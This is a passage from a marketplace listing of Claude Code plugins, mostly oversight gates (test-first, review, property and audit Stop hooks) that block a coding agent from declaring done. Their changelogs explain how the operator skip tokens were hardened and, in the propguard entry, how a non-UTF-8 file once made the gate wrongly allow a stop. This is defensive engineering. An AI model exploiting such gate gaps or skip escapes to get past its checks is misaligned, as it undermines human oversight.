Agent Plugins Marketplace

Recently added

Plugins grouped by the day they were added to the directory, newest first.

Sep 23, 2026

  1. tdd0stars

    v0.1.27 integrates this line with the remote's: the session-scoped skip now carries a third state. Session-scoping fixed WHOSE token is consumed; it did not fix WHEN. A Stop is adjudicated by four independent gate processes, so a token honoured by one that allows was burned even when another blocked the same stop — the stop never happened and the one-shot escape had been spent on nothing, which is standing pressure toward a permanent bypass (CLAUDE.md 5). `consume_session_skip` now takes `stop_hook_active` and parks an honoured token as `<id>.skip.honoured`: it is re-honoured while a re-entry after a block is in flight, and deleted the first time a chain actually ends. A rename failure that can neither bound nor clear the token is resolved to NOT honouring it. Test-first gate for Claude Code: a Stop hook that blocks the turn when implementation lines land and no test is visible in the uncommitted changes (it inspects the working tree only, never already-committed tests), plus a /tdd skill and red/green/verify subcommands that make test-first (RED before GREEN) a verifiable artifact. Subscription-native (one hook + skill + bundled Rust binary, no API key). v0.1.25: the shared project-root `.tdd-skip` marker is gone. The operator escape is now `tdd skip --reason "..."`, which is scoped to the issuing session (CLAUDE.md 5 forbids a shared one-shot file under parallel sessions, since whichever session stops next consumes it), requires a non-empty reason, and appends both the issue and the consumption to the gate log so a bypass cannot happen unrecorded. v0.1.20: config.rs's local GATE_CRATES const is now `pub use harness_core::fleet::GATE_CRATES;`, removing a duplicate hand-written copy that had independently drifted (lost `overwatch`) in the past. v0.1.18: gate verdict now routes through harness_core::verdict (compass DoD1).

    Claude Code1 skill
  2. taskprog0stars

    Multi-session progress file for Claude Code. Injects .claude/progress.md at SessionStart so the agent knows what is pending; at Stop it prompts the agent to keep the file current. Enables seamless HOTL handoff across sessions.

    Claude Code1 skill
  3. Stuck-loop detector + escalation for Claude Code: a PostToolUse hook that spots repeated identical actions and edit thrash, then injects an escalating nudge to change approach or ask the user for help. Subscription-native (one hook + bundled Rust binary, no API key).

    Claude Code
  4. specguard0stars

    v0.2.52: shard 監査 subagent の「並列で同時に起動してよい」を最大 3 体ずつの波に変更 (run と spec-audit の両方)。shard は間引かない。 仕様↔実装 整合監査ハーネスを Claude Code から subscription-native に実行する。各 shard を read-only な in-session subagent で監査し (nested claude --print なし)、決定的ハーネス (scope/render/parse/report) は specguard バイナリに委譲する。

    Claude Code
  5. ship0stars

    v0.1.9: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. nudges the commit・merge・push・plugin-update shipping ritual; detects unshipped git/plugin-cache state; subscription-native

    Claude Code1 skill
  6. Per-session work metrics for Claude Code: PostToolUse + Stop hooks roll up tool calls, turns, files touched, a size class (XS–XL) and a work category per session, viewable with `session-insights report` and optionally logged as a dated note to an Obsidian vault. The `/record` command (`record-now`) regenerates the note's machine-owned 数値サマリ/コスト blocks and has the model author Japanese prose sections (完了サマリ/つまずき・学び/振り返り/注意点・落とし穴/残課題/要追跡・あとで確認/関連); cross-session backlog reconciliation now delegates to the standalone `backlog` crate (`~/.backlog/tasks.toml`) rather than a session-insights-owned vault backlog.md. Subscription-native (two hooks + bundled Rust binary, no API key).

    Claude Code
  7. scout0stars

    v0.1.5: 5 レンズを 1 メッセージで全部並列起動していたのを最大 3 体ずつの波に変更。レンズは間引かない (上限は波を分ける理由であって調査範囲を削る理由ではない)。 Multi-lens project audit that generates actionable tasks (施策) for Claude Code: a /scout skill that gathers deterministic project state, fans out read-only sub-agents across five lenses (current issues, security, industry/peer-project practices via web search, missing measures, safety), then dedupes/scores the findings into prioritized tasks, writes them to the backlog, and hands execution to /flow. Complements compass (single-goal gradient) as a broad-reconnaissance SOURCE. Subscription-native (skill only, no binary, no API key).

    Claude Code1 skill
  8. Schema-validation gate for LLM structured outputs at source→executor boundaries: validates named declared schemas, emits structured errors for one re-ask, and counts rejects to metrics so silent drops become observable. Subscription-native (one bundled Rust binary, no API key).

    Claude Code
  9. runbook0stars

    v0.1.8: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. Reusable procedure includes for Claude Code: a UserPromptSubmit hook that expands `!name` macros in your prompt into the matching repo-committed procedure (.runbook/<name>.md), so recurring workflows run the same way every time. Inspired by Devin Playbooks; distinct from knowledge injection. Subscription-native (one hook + bundled Rust binary, no API key).

    Claude Code
  10. v0.1.24 integrates this line with the remote's. The review is now scoped to what THIS session edited: `harness_core::transcript::files_edited_by_session` reads the session transcript and `review::attribute` narrows the changed-file list to it, so a peer session's uncommitted work in a shared tree is no longer presented as your diff. Attribution is three-valued — when the transcript cannot be read the list is NOT narrowed and the block says so, rather than silently reviewing nothing. Also: the session-scoped skip now carries a third state. Session-scoping fixed WHOSE token is consumed; it did not fix WHEN. A Stop is adjudicated by four independent gate processes, so a token honoured by one that allows was burned even when another blocked the same stop — the stop never happened and the one-shot escape had been spent on nothing, which is standing pressure toward a permanent bypass (CLAUDE.md 5). `consume_session_skip` now takes `stop_hook_active` and parks an honoured token as `<id>.skip.honoured`: it is re-honoured while a re-entry after a block is in flight, and deleted the first time a chain actually ends. A rename failure that can neither bound nor clear the token is resolved to NOT honouring it. Code-review gate for Claude Code: on Stop, review the diff before the agent can declare done. In inject mode it blocks the stop and injects a review rubric so the running agent self-reviews (no API key); in subprocess mode it runs an independent reviewer and surfaces only its findings. Subscription-native, bundled Rust binary. v0.1.21: the shared project-root `.reviewgate-skip` marker is gone. The operator escape is now `reviewgate skip --reason "..."`, which is scoped to the issuing session (CLAUDE.md 5 forbids a shared one-shot file under parallel sessions, since whichever session stops next consumes it), requires a non-empty reason, and appends both the issue and the consumption to the gate log so a bypass cannot happen unrecorded.

    Claude Code
  11. replaykit0stars

    Trace→golden replay regression harness: convert tracekit-recorded condukt run traces into evalkit golden replay cases. The sibling of curate (playbook→golden) — three subcommands (extract/verify/promote) pin a run's phase set, error count, and cost as a portable, self-verifying snapshot so regressions surface as a failing golden. Subscription-native (one bundled Rust binary, no API key).

    Claude Code
  12. propguard0stars

    v0.1.44 integrates this line with the remote's: the session-scoped skip now carries a third state. Session-scoping fixed WHOSE token is consumed; it did not fix WHEN. A Stop is adjudicated by four independent gate processes, so a token honoured by one that allows was burned even when another blocked the same stop — the stop never happened and the one-shot escape had been spent on nothing, which is standing pressure toward a permanent bypass (CLAUDE.md 5). `consume_session_skip` now takes `stop_hook_active` and parks an honoured token as `<id>.skip.honoured`: it is re-honoured while a re-entry after a block is in flight, and deleted the first time a chain actually ends. A rename failure that can neither bound nor clear the token is resolved to NOT honouring it. v0.1.41: the shared project-root `.propguard-skip` marker is gone. The operator escape is now `propguard skip --reason "..."`, which is scoped to the issuing session (CLAUDE.md 5 forbids a shared one-shot file under parallel sessions, since whichever session stops next consumes it), requires a non-empty reason, and appends both the issue and the consumption to the gate log so a bypass cannot happen unrecorded. v0.1.38: closes the fail-open v0.1.37 documented but deliberately left open (backlog 87dbfbb8 p0 + d8e22b26 p1). `run_git` now answers `Determination<String>` and `diff_text` answers `Determination<DiffText>`, forwarding (never re-minting) the boundary's `Undetermined` from any of the four reads that feed it: `git diff`, `git diff --cached`, the untracked `ls-files`, and an untracked file's body. `evaluate` maps that to a new `decide_diff_failed` — tag `diff-read-failed`, bounded by max_attempts, escapable, no hash recorded, no per-property violations attributed — placed BEFORE the `match cfg.mode` split so both inject and subprocess modes route through it. Measured before the fix with the real `git`: a tracked file whose working-tree content is not valid UTF-8 (no NUL, so git emits a textual diff) gave changed_files=Files(["bad.rs"]) with diff_text="" and truncated:false, and the gate returned ALLOW tag=empty-diff; the valid-UTF-8 control gave BLOCK tag=below-threshold. The partial case is closed the same way and deliberately returns no diff at all rather than the readable half: previously `git diff` succeeding while `git diff --cached` could not be decoded produced a diff mentioning a.rs, omitting b.rs, and carrying truncated:false — announcing itself complete over propguard's only incompleteness signal. `empty-diff` survives but now means only what it says: every read succeeded and the diff really was empty. New tests pin both faults end-to-end through `evaluate`, each with an anti-vacuity control that differs only in whether the bytes decode, plus a genuinely-clean-repo allow and a measured demonstration that Mode::Subprocess really can reach properties-satisfied (so the guard prevents a reachable allow, not a hypothetical one). v0.1.37: docs-only correction of a claim v0.1.36 itself introduced. `run_git`'s comment said dropping `None` matched a benign 'fail gracefully / treat as git-unavailable' convention because 'callers already tolerate None/empty output'. That is false on the decision path: `changed_files` recovers (None -> collect false -> ChangeScan::Failed -> block), but `run_diff` and the untracked `ls-files` read inside `diff_text` still drop `None` silently, and a tracked file whose working-tree content is not valid UTF-8 yields changed_files = Files(["bad.rs"]) with diff_text = "" and truncated:false, which gate.rs's `if diff.trim().is_empty() { allow("empty-diff") }` ALLOWS (the valid-UTF-8 control gives a 131-byte diff and a BLOCK). The comment now states which caller is hardened and which two are not, and names the open backlog ids 87dbfbb8 and d8e22b26. The behaviour is deliberately NOT fixed here. v0.1.36: an unreadable git stdout no longer reads as a clean repo — harness-core 0.2.3's bounded pipe read stopped discarding the read error and stopped folding an expired read budget into an empty string, so a `git` that exits 0 while its output never arrives now reaches ChangeScan::Failed (gate fails closed) instead of the Files(vec![]) a genuinely clean repo produces. v0.1.32: fixed a stale never-break-a-turn docstring/comment in main.rs and README.md — panics no longer swallow-to-exit-0; the Stop hook's panic path resolves via harness_core::gate::run::run_guarded's fail-closed policy (block on the first stop, bounded allow only on a second consecutive stop_hook_active panic). No behavior change. v0.1.16: merged two independently-developed Continuous-Audit fix lines that landed on the same v0.1.14 base — (a) stopped correlation-store pollution (CA-propguard-03/04): a checker-unavailable or diff-truncated Block evaluated no property, so it no longer stuffs the full derived prop_ids into the property_id-keyed fleet-correlation signal as if they were real per-property violations (it reports an empty set, mirroring the below-threshold narrowing); (b) documented the checker subprocess timeout (checker_timeout_secs, default 300s, process-tree kill on timeout) in README.md and added config-propagation tests covering the propguard.toml override path. Earlier v0.1.13 fixed 3 subprocess-hang gaps (CA-propguard-004/005/006) — checker timeout now kills the whole shell-spawned process tree via a Unix process group instead of just the direct shell child; stdout is read on a bounded thread so a lingering process holding the pipe open can't hang past the timeout; and all git subprocess calls now go through a single timeout-bounded choke point that fails gracefully instead of hanging the Stop hook indefinitely. Property gate for Claude Code: on Stop, derive 3–5 semantic properties (invariants) from a task's done_criteria and check the generated code against them before the agent can declare done. In inject mode it blocks and injects a property checklist for the running agent to self-verify (no API key); in subprocess mode it runs an independent checker and counts per-property PASS/FAIL, blocking when fewer than a threshold hold. Goes beyond 'concrete tests pass'. Subscription-native, bundled Rust binary.

    Claude Code
  13. Config-driven pre-commit static audit for Claude Code: a Stop hook that runs generic checks plus your project rules (from a TOML file) over the pending diff — shelling out to git and optional linters — and blocks the stop, feeding findings back to the agent until they're clean. Subscription-native (one hook + bundled Rust binary, no API key). v0.1.16: the shared in-tree `<audit_dir>/.audit-skip` marker is gone — it was the fifth mirror of the one-shot bypass the four Stop gates dropped in the same change. It carried no attribution and lived in the working tree, so whichever invocation ran next spent it: a bypass one session armed was routinely consumed by a different session's commit, or by a human's terminal `git commit`. The replacement is `precommit-audit skip --reason "..."`, scoped to the issuing session via CLAUDE_CODE_SESSION_ID, reason-required, and recorded at both issue and consumption. An invocation with no session id consumes nothing at all.

    Claude Code
  14. playbook0stars

    v0.1.7: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. Project knowledge retrieval + injection for Claude Code: a UserPromptSubmit hook that pulls the curated atomic notes relevant to your prompt and injects them under a strict char budget, so conventions and gotchas resurface without re-typing. Subscription-native (one hook + bundled Rust binary, no API key).

    Claude Code
  15. Per-session concurrency cap for Claude Code. A PreToolUse hook counts the Bash calls and subagents actually in flight for this session and denies the call that would exceed the cap (3 shells and 3 subagents by default); PostToolUse gives the slot back and the ledger is cleared at every turn boundary. Enforcement lives in a bundled binary, not in prose a model may ignore. Subscription-native (no API key).

    Claude Code
  16. overwatch0stars

    v0.2.31: v0.2.29 の finder 同時起動制限の散文を revert した。同時実行数の上限は parallelguard が PreToolUse で deny して強制する。あわせて origin/main を統合し、`skills/continuous-audit/SKILL.md` の既定 target list から taintguard (2026-08-24 にユーザー裁定で repo から撤去) を外した版を取り込んだうえで parallelguard を含める。したがって正典 GATE set は 7 (blastguard propguard specguard stuckguard mutategate overwatch parallelguard) で、`scripts/continuous-audit.sh` の `DEFAULT_TARGETS` および `scripts/rollout-plugins.sh` の `GATE_CRATES` と同期する (`check-gate-crates-sync.py` が機械照合)。skill prose のみ、コード変更なし。 v0.2.29: continuous-audit の finder 同時起動を最大 3 体に制限し、Step 2 の verifier と合わせて 3 を超えないことを明記。対象 crate は間引かない。 v0.2.28: SessionStart/Stop の `status` が 4 source (backlog / hypothesis / condukt / compass) すべてを bare 名で spawn していたため、hook プロセスに plugin の bin dir が PATH に無い環境では 4 本同時に `(unknown: No such file or directory (os error 2))` へ落ちていた。実測 2026-08-21、測定点 cd2576bd: claude プロセスの /proc/<pid>/environ に plugins/cache/yukineko は 0 件 — plugin bin dir の PATH 追加は Bash tool の shell 内だけで、hook はそれを継承しない。bare 名の spawn は ~/.cargo/bin に残っていた 2026-07-23 版の stale コピーが login PATH 上にあったために偶然動いていただけで、それを (正しく) 削除した 2026-08-20 の bb046648 以降 banner は全滅していた。condukt と compass は ~/.cargo/bin に一度も存在しなかったので、0.2.26 の三値化以前は `(none)` として無言で fail-open していた (hook 経路から一度も観測できていなかった)。修正は新設の `harness_core::plugin_bin::resolve` で plugin cache を第一候補・PATH を fallback として解決する — 順序は意図的に autoflow の既存 resolver の逆で、rollout が版を保証する唯一の配布経路であり、PATH 先行こそ 91fa24df の stale shadow を勝たせた原因だったため。F→P オラクル: `env PATH=/usr/local/bin:/usr/bin:/bin overwatch status` は修正前が 4 unknown (出荷済み SessionStart banner と逐語一致)、修正後は backlog pending 355 ほか全 source を報告する。v0.2.27 (merge reconciliation, no new code): two branches independently shipped DIFFERENT content as 0.2.26 -- the launcher exit-0 fail-open fix and the `overwatch status` tri-state fix (aggregate.rs/render.rs) -- so the label 0.2.26 ambiguously named two trees. This release is the union of both, renumbered so the version identifies one tree again. No behaviour beyond the two merged changes. v0.2.26: `overwatch status` (the SessionStart+Stop hook) rendered `(none)` for a source it could not read, identical to a source it read and found empty. Measured against the shipped binary: a truncated `leases.json` holding one LIVE lease from another session produced byte-identical output, exit 0, to a store that had never been written — `store::load_leases` already separated absent (`Ok(empty)`) from corrupt/unreadable (`Err`) via `boundary::read_to_string`'s `Determination`, but `aggregate::build` bound it with `if let Ok(..)` and threw the distinction away; the same collapse applied to the four subprocess sources (`shell_soft`'s `Option<String>` folded not-installed / non-zero-exit / non-UTF-8 into one `None`) and to the JSON/TSV parsers (`Err(_) => Default::default()`, `unwrap_or(0)`). `(none)` in the Sessions pane is the claim "no other session is live" — the fact CLAUDE.md §8 says never to assume, and the liveness input condukt's main-tree guard reads before permitting a commit in main's shared working tree (`condukt/src/maintree.rs` documents this exact flattening as "a real residual hole, not a safe degradation"). `ProgressView` now carries `undetermined: Vec<UndeterminedSource>`; unreadable sources render `(unknown: <reason>)` plus a loud stderr WARNING, and `status --json` gains a machine-readable `undetermined` key (omitted on the clean path, so the existing contract is unchanged). Parsers return `Result`; three tests that asserted garbage input yields `pending: 0` / all-zero buckets — writing the fail-open down as the contract — now assert `Err`. v0.2.0 (major bump, not content): 0.1.52 added pub fields to externally-constructible structs (`AuditRound.unverified`, `RoundMetric.unverified`, `AuditMetrics.cumulative_unverified`, `ReviewFinding.verdict`) without a breaking version bump, so `cargo semver-checks` correctly failed CI on main (17 consecutive runs) with `constructible_struct_adds_field`; this release only bumps 0.1→0.2 per the crate's own pre-1.0 convention (breaking change bumps the minor field) to match the version to the API shape already shipped — no code change. v0.1.48: `store::mark_branch_merged` (branch-keyed sibling of `mark_changeset_merged` — the merge path knows only the branch, not the `task_key`) plus `store::clear_runtime_overlap_holds` give condukt the on-land cleanup that takes a merged branch's `ActualChangeset` out of the mid-flight overlap-detection set (fixing spurious ~30-min false-positive merge HOLDs where a cleanly-landed peer stayed `merged=false` within the lease TTL) and clears any stale `RuntimeOverlap` hold recorded against the reused branch name; `prune_stale_changesets` is now wired opportunistically on land to keep `active_changesets.json` bounded. All fail-soft under `LeaseLock`, with a regression test proving a landed branch is excluded from detection and its entry is pruned. v0.1.44: `lease::begin()`'s load->is_held_by_other check->save read-modify-write was unprotected against a TOCTOU race (two sessions racing begin() for the same key could both pass the check before either saved, both believing they'd claimed the lease) -- condukt::lock/backlog::lock had already fixed this exact pattern via hardlink+create_new(O_EXCL) exclusive locking, but overwatch::lease hadn't (hypothesis 9c733d74). New `crates/overwatch/src/lock.rs` (`LeaseLock`) ports that design -- hard-link atomic publish, a TMP_SEQ intra-process collision guard, stale-lock reap via pid liveness, bounded wait, fail-soft degrade-to-unlocked on timeout -- and `begin()` now holds it across the whole load->check->save cycle. New `crates/overwatch/tests/lease_concurrency.rs` spawns two real processes racing `begin()` for the same key across 8 trials and asserts exactly one wins; an env-gated `OVERWATCH_TEST_BEGIN_DELAY_MS` widens the race window past normal process-spawn overhead so the test deterministically forces the interleave (verified by temporarily reverting the lock: the test then reliably catches the double-claim). Also fixed a related pre-existing test-suite flake: `aggregate.rs` and `store.rs` each sandboxed the process-global `$HOME` env var behind their OWN separate `Mutex`, so tests in the two modules could still race each other's `HOME` mutation under parallel `cargo test`; unified to one crate-wide `store::HOME_ENV_LOCK`. v0.1.43: `review-metrics` now reports `stale_undisposed_with_fix_commit` -- a read-only recount (same commit-range/store logic as `reconcile-fixed`, but never writes) of findings whose fix commit has already landed but are still undisposed, printed as a WARNING line in the human-readable report too. Closes the last piece of the 2026-07-17 stale-review-queue gap: `reconcile-fixed` only clears the backlog when someone remembers to run it, so this makes the gap visible on every `review-metrics` call even if reconcile-fixed hasn't run that round. v0.1.42: new `reconcile-fixed` command closes the "fix commit landed, nobody ran record-disposition" gap that let review-queue go stale (2026-07-17 incident: 18 already-fixed findings sat "open" for weeks because nobody remembered to dispose them). Scans a range of git commit messages (`--since-ref`/`--range`/`--last-n`, default last 50) for `CA-<crate>-<NNN>` finding-id references and auto-records a CONFIRMED disposition (`auto-reconcile(commit <hash>)`) for any referenced finding present on the review-findings store but not yet dispositioned; idempotent (already-disposed ids are skipped, a finding referenced by multiple commits is disposed once). Fail-soft end-to-end: a missing git binary, a non-repo cwd, or a non-zero `git log` all degrade to "0 processed" rather than erroring, so it is always safe to wire into automation. Wired into `scripts/continuous-audit.sh` (via the existing fail-soft `run_ow` wrapper) so every Continuous-Audit round auto-reconciles already-fixed findings before bridging the remainder to the backlog. v0.1.39: `test_freshness::run_ignored_test`'s `cargo test` subprocess call used `Command::output()`, which waits unbounded — a hung/deadlocking `#[ignore]`d regression test could wedge `overwatch review-queue --to-backlog`'s per-finding loop forever. Switched to `spawn()` + `wait_timeout()` (60s, since the call includes a build step) mirroring `ctxrot::hooks::guard::run_with_timeout`; timeout kills and reaps the child, folding into the existing `ExecutionError` fail-soft path (`bridge.rs` unchanged). v0.1.35: fixed CA-overwatch-004 — the RECORD path (`overwatch audit-round record --confirmed N --regression-tests-added M`) constructed an `AuditRound` via `AuditRound::new` with NO clamp on `regression_tests_added`, unlike the separate CLOSE path (`set_round_tests`, which already clamps to `confirmed`); `record --confirmed 1 --regression-tests-added 999` previously persisted an unclamped 999 and propagated a closure_rate far above the documented [0,1] range. `AuditRound::new` now clamps `regression_tests_added` to `confirmed` for every construction path, and the `record` CLI's printed JSON reports the stored (clamped) value rather than the raw arg. v0.1.34: continuous-audit SKILL.md's "対象 crate (既定)" section understated the target list as 5 crates (blastguard/propguard/specguard/stuckguard/mutategate), omitting overwatch, even though scripts/continuous-audit.sh's actual DEFAULT_TARGETS has included overwatch since it joined GATE_CRATES (558f864) -- fixed the doc to match the real 6-crate default (docs/fix-gate-crates-drift.md). v0.1.32: fixed set_round_tests() so an over-large `--tests` count passed to `audit-round close` clamps to the round's own `confirmed` count before being stored, preventing `closure_rate` from exceeding the documented [0,1] range. v0.1.31: Continuous-Audit finding triage (docs/DESIGN-continuous-audit-triage.md) — `ReviewFinding` gains an optional `rationale` field (verifier's CONFIRMED-判定根拠, `#[serde(default)]` so pre-existing `review_findings.jsonl` rows keep reading) and `record-finding --rationale` wires it through; new `test_freshness` module reverse-looks-up a `#[ignore = "<finding-id>: ..."]` regression test by finding-id and re-runs it (`cargo test -p <crate> -- --ignored <fn>`), fail-soft (`ExecutionError`/`NotFound` on any cargo/crate trouble); `review-queue --to-backlog` now thickens each backlog task's notes with elapsed days since confirmation, the rationale (if any), and the regression-test freshness verdict (FAIL/PASS/no test), all advisory-only (core dedup/idempotency unchanged). v0.1.27: SessionStart+Stop `status` hook now shares a short-lived (10s TTL) on-disk cache (`aggregate::build_cached`) so the two hooks firing close together (end of one turn, start of the next) collapse into one full aggregate scan (~5 subprocess spawns + lease-store scan) instead of two; a cold/expired/corrupt cache always falls through to a fresh build (fail-soft, no observability lost — just bounded staleness). Also fixes a latent JSON round-trip bug: `ProgressView`'s `sessions`/`runs` (`Vec`) and `BacklogSummary`'s `pending_by_priority` (`BTreeMap`) were missing `#[serde(default)]` alongside their `skip_serializing_if`, so deserializing an omitted-when-empty field previously errored instead of reconstructing the empty collection. v0.1.25: strengthened `disposition_metrics` integration tests to patch ONLY the timestamp fields (`ts`/`resolved_ts`) of the CLI-written JSONL ledgers, keeping the CLI-serialized `finding_id`/`verdict`/`reviewer` intact, so `false_positive_rate`/`agreement_rate`/`by_verdict` assertions now exercise `record-disposition`'s real field serialization end-to-end (test-only; no behavior change). v0.1.24: new `compact-findings` command performs non-lossy compaction/rotation of the append-only `review_findings.jsonl` hot store: finding records whose finding_id has been resolved (bridged to the backlog, or dispositioned by a human) are MOVED (never deleted) into a cold `review_findings_archive.jsonl`, so `review-queue`'s human-surface read stays bounded to OPEN items rather than lifetime append volume; `review-metrics`'s median-latency join now reads hot plus archive so the metric never regresses after compaction. Atomic temp+rename rewrites (archive written before hot for crash-safety); idempotent (a run with no newly-resolved findings is a byte-identical no-op). v0.1.23: new `auto-approved` companion command (read-only, foreign-file bridge to condukt's `gate-decisions.jsonl`, fail-soft by path) surfaces the DENOMINATOR — the population of decisions condukt self-answered without a human — as a count plus a deterministic seeded sample (`--since`/`--sample`/`--seed`/`--json`), so a human can judge whether spot-check sampling coverage of mass auto-approval is adequate. v0.1.22: review-queue gains a fourth source — condukt's durable escalation queue (`escalate.rs`) is bridged in as `EntryKind::Escalation` (High severity), read fail-soft by path (no condukt crate dependency, so the harness-core<-overwatch<-blastguard<-condukt direction stays acyclic) so every human-awaiting item (blocked/GATED tasks, not just gate-check findings) shows in the one unified pane. v0.1.21: review-effectiveness measurement — new `record-disposition` (confirmed|dismissed|false-positive per finding_id) + `review-metrics` commands close the loop on the human review queue: a fail-soft `dispositions.jsonl` ledger joined against `review_findings.jsonl` yields false-positive rate, human-agreement rate, and median resolution latency (JSON or human-readable). v0.1.20: review-queue noise collapse — AI findings dedup by a content fingerprint (source+file+summary), not just exact finding_id, so independent reports of the same issue under different ids collapse to one row; repeated same-plugin rollbacks likewise collapse to one row. Both carry an additive `occurrences` count (and a `(Nx)` summary marker) so recurring noise doesn't flood the human review surface. v0.1.19: new `store::record_finding` library entry lets condukt's gate-check Escalate branch auto-populate the review-queue ai-finding stream (previously producer-less), so needs-human/gated verdicts surface on the risk-ranked human queue automatically. v0.1.18: review-queue now risk-ranks by normalized severity (High-first) then recency, so a stale high-severity item is never buried/evicted below fresh low-severity noise; --limit yields the top-K riskiest and reports the deferred remainder. Project-global cross-session execution ledger + dedup guard + PDO progress view + fleet-level correlated gate-violation detection. Manages claim registry with heartbeat-based liveness, skip-on-duplicate contract for distributed session coordination, and normalized violation-signature recurrence/escalation across tasks and sessions.

    Claude Code1 skill
  17. v0.1.13: `skills/hypothesis/SKILL.md` に YAML frontmatter を追加した。Claude Code は frontmatter の `name`/`description` から skill を登録するので、散文で始まるファイルは黙って読み飛ばされる — この skill は「壊れていた」のではなく最初から **存在しなかった** (`/hypothesis:hypothesis` が not found)。plugin 側からは不可視な失敗で、ファイルは在り、`git status` は clean、rollout は成功を報告する (CLAUDE.md 第3節: 「登録されなかった」と「登録するものが無い」が同じ出力に潰れる)。実測 2026-08-26 (測定点 58c779af) では全 39 crate の SKILL.md のうち 1 行目が `---` でないのはこの 1 件だけだった。新規テスト `tests/skills_frontmatter.rs` が frontmatter の存在・`name`/`description` の有無・`name` とディレクトリ名の一致を pin する (追加前に RED を観測済み。skills が 0 件のときに空虚に pass しないよう anti-vacuity assert 付き)。挙動の変更は無い。 v0.1.8: the store's load->mutate->save cycle is now protected by an exclusive file lock (`StoreLock`, ported from backlog::lock/condukt::lock::RunLock/overwatch::lock::LeaseLock) so two concurrent processes mutating the store (e.g. `validate`/`reject`/`confidence`) can no longer lose one update to a last-writer-wins race; a multi-process regression test proves the fix (and that it fails without the lock). PDO hypothesis lifecycle management — create, validate, and track discovery hypotheses aligned with compass goals.

    Claude Code2 skills
  18. v0.1.11: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. Unified HOTL status dashboard for Claude Code. A /status command runs a bundled Rust binary that aggregates budgetguard's spend ledger, gauge's session records (recent sessions + cost), and taskprog's progress file into one human-on-the-loop view. Subscription-native (binary + command, no API key). A lightweight SessionStart hook additionally warns (fail-soft, silent when healthy) if a registered hook's binary is missing from disk, or if a stray PATH binary (e.g. a stale ~/.cargo/bin copy) shadows a plugin-cache copy of the same name.

    Claude Code
  19. gauge0stars

    Local LLMOps telemetry for Claude Code: a Stop hook that reads each session's transcript and records token usage, cache hits, tool calls, latency, and estimated cost to a local store — then `gauge report` rolls it up by project, model, and day. `gauge subagents` attributes cost to each individual sub-agent (Task) live from its transcript, so callers like condukt can record true per-task cost instead of a lumped session total. v0.3.9: `gauge subagents --json` now also emits `tokens_input`/`tokens_output` per sub-agent, so callers can record real token usage alongside cost. Observability for your own agent runs, subscription-native (one hook + bundled Rust binary, no API key, nothing leaves the machine).

    Claude Code
  20. v0.1.28: fixes the defect v0.1.27's wiring fix exposed — the hook was reachable again, but `sync` could not finish from the store's own steady state. `cmd_sync` pulled BEFORE committing local appends, and pulled with `--ff-only`. Both abort in normal operation: the store files live inside the sync dir, so every `record` leaves them as uncommitted working-tree modifications (`git pull` then refuses with "Your local changes to the following files would be overwritten by merge", exit 1), and any second machine pushing makes the histories diverge (`--ff-only` then exits 128, "Not possible to fast-forward"). Both were reproduced against a copy of the real store. The order is now commit → pull `--no-rebase --no-edit` → push, with the push skipped only when the branch can be *established* to be level with its upstream (an undeterminable position pushes anyway). Reordering alone was still not enough: two machines appending to the same JSONL land their additions adjacent at end-of-file, which the default merge driver reports as a content conflict, so `sync` now ensures the sync dir's `.gitattributes` declares `episodes.jsonl`/`playbooks.jsonl` as `merge=union` — it keeps BOTH sides' lines, and the store is already deduplicated by content hash, so a duplicate line is recoverable where a dropped episode is not. Finally, a failed sync no longer fails into silence: its only caller is a `SessionEnd` hook whose exit code and stderr reach nobody, so the failure is written to `~/.fugu-router/sync-error.json` and surfaced by this plugin's own `UserPromptSubmit` hook (as `additionalContext` for the model AND `systemMessage` for the user) until a later sync succeeds and clears it. An unreadable or unparseable marker still produces a notice — its presence already says the last sync failed. New test `sync_ordering.rs` (4 tests, RED observed before GREEN) covers the steady state, idempotency on repeat, surfacing, and clearing. v0.1.27: `hooks/hooks.json` now declares the record-store sync as a `SessionEnd` hook (`${CLAUDE_PLUGIN_ROOT}/bin/fugu-router sync`, timeout 30). The wiring previously existed only as an orphaned absolute path in the user's `~/.claude/settings.json` (`~/.cargo/bin/fugu-router sync`), whose build had been renamed away — so the hook exited 127 every session with neither exit code nor stderr reaching the agent or the user, making a sync that had nothing to do indistinguishable from a sync that never ran (CLAUDE.md §1/§3: it went dark, not red). The damage was silent and cumulative — measured 2026-08-26: the last `fugu-router sync` commit in `~/.fugu-router/record-repo` is 2026-07-23 09:57:38 +0900, while `episodes.jsonl`/`playbooks.jsonl` in that repo kept growing as uncommitted, unpushed working-tree modifications for ~34 days, so every episode recorded in that window existed only on one machine. New test `session_end_sync_hook_wired.rs` pins the structural fix: the declaration must live in-plugin, every declared command must resolve through `${CLAUDE_PLUGIN_ROOT}` and never through `~/.cargo/bin`, and every declared subcommand must actually exist in the binary (RED observed before GREEN). fugu-style per-model routing for Claude Code orchestration. Learns from past task outcomes (which model passed verification, at what cost) and picks the cheapest Claude tier that historically clears similar work. Feeds condukt's suggested_model deterministically; records outcomes back to a local episode store. No API key, no embedding service — lexical k-NN over a JSONL store. v0.1.24: new mode axis `--mode fast|normal|high` for `route`/`suggest` — a deterministic clamp applied AFTER the policy has already picked a worker/verifier pair (never touches `decide`/`decide_bandit`'s learning logic). `fast` shifts the worker one tier down (capped at sonnet — opus never selected as worker or verifier); `high` shifts one tier up (capped at opus); `normal` is the backward-compatible identity default. The verifier is always recomputed from the clamped worker via `policy::verifier_model`, additionally capped at sonnet under `fast`. Precedence: `--mode` flag > env `FUGU_ROUTER_MODE` > config.toml `mode` > `normal`; an invalid env/config value is an explicit error + non-zero exit, never silently coerced to `normal`. A `gated` decision is a no-op under every mode (mirrors `downgrade_for_budget`'s own gated no-op). Ordering: the mode clamp runs BEFORE `downgrade_for_budget` — budget is a hard resource limit and wins over a mode preference, and the rationale records both the mode's shift and any budget negation so a `high` pick never silently disappears. `Episode` gains a measurement-only `mode: Option<String>` field (`record --mode`); an absent value means "not recorded", never conflated with `Some("normal")`. v0.1.20: new `duration-outliers` command flags models whose avg duration within a task class is a relative outlier 